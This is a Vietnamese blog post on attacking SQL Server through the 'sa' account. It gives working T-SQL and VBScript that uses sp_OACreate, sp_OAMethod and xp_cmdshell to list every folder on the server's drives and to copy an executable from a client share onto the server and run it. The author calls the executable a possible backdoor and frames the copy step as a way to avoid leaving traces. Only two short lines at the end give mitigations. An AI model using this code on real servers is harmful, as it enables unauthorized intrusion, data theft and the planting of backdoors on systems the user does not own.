Twitter Delicious Facebook Digg Stumbleupon Favorites More

Thứ Sáu

Một số bí ẩn về bảo mật của SQL Server.

Một số bí ẩn về bảo mật của SQL Server. Lật lại quá khứ, có thể các bạn không quên có một thời gian, Microsoft khuyến cáo người quản trị SQL không nên để password trắng cho user sa, bởi vì hacker có thể lợi dụng lỗ hổng này để thâm nhập và kiểm soát hệ thống.

Tui đây thắc mắc không hiểu tại sao lại có thể làm được điều này nên đã cố gắng gặm nhấm online book và một số trang web để tìm ra nguyên nhân.

Hôm nay, xin chia sẻ với các bạn cho zui:

Thực ra mấy cái vụ này tập trung chủ yếu dựa vào các store hệ thống sau:

sp_OACreate
sp_OADestroy
sp_OAGetProperty
sp_OAMethod
sp_OAStop

xp_cmdshell (Cái thằng này SQL 2005 đã thay đổi về bảo mật là bổ sung tính năng cho một user có thể hoặc không kích hoạt được nó. Hi` hi`)

Tất cả những thủ tục nói trên hoạt động thông qua cơ chế OLE (Liên kết và nhúng đối tượng).
Để hiểu bài này, bạn cần nắm một số kiến thức về VB Script và SQL Server (Store Procedure).
Ngoài ra cần nắm cách thức hoạt động của các lớp Scripting.FileSystemObject và MSScriptControl.ScriptControl
Scripting.FileSystemObject: Cung cấp các phương thức quản lý đối tượng file, thư mục, ỗ đĩa...
MSScriptControl.ScriptControl: Cung cấp các phương thức quản lý và thực thi các script.
Hai class này được cung cấp sẵn trong hệ điều hành
Nếu bạn cần chi tiết về nó, vào VB code , add references, chọn hai class sau:
- Microsoft Scripting Runtime
- Microsoft Script Control 1.0

Với các store trên, vận dụng một cách khéo léo, bạn có thể lấy toàn dữ liệu của máy cài đặt SQL mặc dù nó ko cho mình một cái quyền gì cả ngoại trừ quyền truy cập SQL bằng user sa. Ngoài ra bạn cũng có thể gởi một ứng dụng từ máy bạn đến máy chủ và kích hoạt nó (virus - backdoor đấy).

Trước tiên tui xin trình bày chức năng của các thủ tục trên:

sp_OACreate dùng để khởi tạo một minh dụ của OLE trên SQL với cú pháp như sau:
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]

progid : Tên của class.
clsid : Mã của class.
objecttoken: Handle được trả về khi khởi tạo đối tượng thành công.
context: ngữ cảnh thực thi
1: là dll
4: là exe
5: là cả hai (default)

Ví dụ như trong vb: Khi khởi tạo một đối tượng Connection của ADODB bạn dùng câu lệnh
Set mcn = CreateObject("ADODB.Connection")
Tương tự để khởi tạo đối tượng này trong SQL bạn dùng các lệnh sau

Declare @mcn int
Declare @result int

EXEC @result = sp_OACreate 'ADODB.Connection', @mcn OUT
Nếu @result <>0 là quá trình khởi tạo hoàn thành.


Sau khi khởi tạo đối tượng thành công, bạn có thể gọi phương thức, đọc và viết thuộc tính của đối tượng này bằng các store lần lượt:
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty

Cú pháp:
sp_OAMethod objecttoken,
methodname
[ , returnvalue OUTPUT ]
[ , [ @parametername = ]parameter [ OUTPUT ]
[ ...n ] ]

- objecttoken: Giá trị handle của đối tượng, trong ví dụ trên là @result
- methodname: Tên của thủ tục hoặc hàm cần gọi
- returnvalue OUTPUT : Nếu là hàm thì truyền biến vào đây để lấy giá trị trả về, nếu là thủ tục thì truyền vào giá trị NULL
- [ @parametername = ] parameter [ OUTPUT ]: Là các tham số mà thủ tục hoặc hàm cần truyền vào. Các bạn mở book online ra tham khảo thêm cái này, sp_OAGetProperty và sp_OASetProperty nha.

Ở ví dụ trên, chúng ta đã khởi tạo thành công đối tượng 'ADODB.Connection'
Để yêu nó thực thi một câu SQL chẳng hạn, chúng ta thực hiện 3 bước:

- Gán thuộc tính ConnectionString, chúng ta gọi store sau:
EXEC sp_OASetProperty @result, 'ConnectionString', 'Provider = SQLOLEDB;UID= sa;PWD=sa;Data Source = Server; Initial Catalog = myData'
- Mở connection, chúng ta gọi store sau:
EXEC sp_OAMethod @result, 'Open',NULL
- Thực thi câu lệnh [UPDATE tablename SET col1 = 1], chúng ta gọi store sau:
EXEC sp_OAMethod @result, 'Execute',NULL,'UPDATE tablename SET col1 = 1'

Trên đây là một số ví dụ nói về ý nghĩa của các store, mình sẽ post tiếp cách thức đề lấy dữ liệu trên máy chứa SQL.

tới đây mình sẽ dùng các thủ tục nói trên kết hợp với dll của windows để tạo một công cụ duyệt toàn bộ thư mục và file của Server.

Đoạn Script dưới đây sẽ lấy tên các thư mục con của các ổ đĩa cố định lưu vào bảng TempDir của database master.
Dựa trên cấu trúc của bảng TempDir và kết hợp với đối tượng Scripting.FileSystemObject , bạn có gọi các thủ tục copy các danh sách thư mục đã tìm được ở máy chủ về máy client bằng cách share một thư mục public tại máy client. Những cái này các bạn tự tìm hiểu nha.

Quote:
Declare @sql varchar(1000),
@object int, @result int
Set @sql =
'
Dim fso
Dim d
Dim f
Dim mcn
Set fso = CreateObject("Scripting.FileSystemObject")
Set mcn = CreateObject("ADODB.Connection")
mcn.ConnectionString = "Provider=SQLOLEDB;Data Source =.;UID=sa;Initial Catalog = master"
mcn.Open
mcn.Execute "If not exists (Select id From sysobjects where id = Object_ID(''TempDir'') And xtype = ''U'') " & _
"Create Table TempDir(LevelID nvarchar(255), LevelParentID nvarchar(255), DirName nvarchar(255))"
mcn.Execute "Delete TempDir"
For Each d In fso.Drives
If d.DriveType = 2 Then
mcn.Execute "Insert Into TempDir VALUES(N''" & d.DriveLetter & ":'',NULL,N''" & d.DriveLetter & ":'')"
For Each f In d.RootFolder.SubFolders
mcn.Execute "Insert Into TempDir VALUES(N''" & f.Name & "'',N''" & d.DriveLetter & ":'',N''" & f.Name & "'')"
Next
End If
Next
Set mcn = Nothing
Set fso = Nothing
'
EXEC @result = sp_OACreate 'MSScriptControl.ScriptControl', @object OUT
If @result = 0
EXEC @result = sp_OASetProperty @object, 'Language', 'VBScript'
If @result = 0
EXEC @result = sp_OAMethod @object, 'ExecuteStatement', NULL, @sql
If @result = 0
Print 'Using Select TempDir table for result'
Àh quên, thêm một lệnh hủy đối tượng để giải phóng bộ nhớ nữa chứ
EXEC sp_OADestroy @Object

Mình xin trình bày cách thức tiếp theo để tải một ứng dụng từ máy client lên máy server và kích hoạt ứng dụng đó tại máy server - Đối với LAN
Các bạn sử dụng đối tượng Scripting.FileSystemObject và dùng thủ tục copyfile để copy ứng dụng từ máy của bạn lên máy chủ:

ex:
EXEC @result = sp_OACreate 'Scripting.FileSystemObject', @object OUT
If @result = 0
EXEC @result = sp_OAMethod @object, 'Copyfile', NULL, '\\client\SharedFolder\Application.exe','C:\Program Files'
If @result = 0
EXEC @result = sp_OADestroy @object

Gọi ứng dụng thực thi:
EXEC xp_cmdshell 'C:\Program Files\Application.exe'

Ở đây các bạn có thể hỏi tại sao không chạy
EXEC xp_cmdshell '\\client\SharedFolder\Application.exe'
cho nó đơn giản. Hì hì, để tránh cho server truy tìm dấu vết.

- Đối với mạng internet.
Cái này thì tùy bảo mật của từng phiên bản windows, bạn có thể dùng textstream để chuyển nội dung của file ứng dụng lên server sau đó thì kích hoạt nó.
May rủi thôi.
Còn cơ chế bảo mật của nó là nó cấm mình chuyển một số byte nhạy cảm, mà các byte này là thường tồn tại trong các file thực thi được


Cách thức để hạn chế lỗ hổng này:

- Cài Password cho user sa.
- Nếu ko cần thiết thì gỡ bỏ các store nói trên ra khỏi SQL.

ST

0 nhận xét:

Đăng nhận xét

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Blogger Templates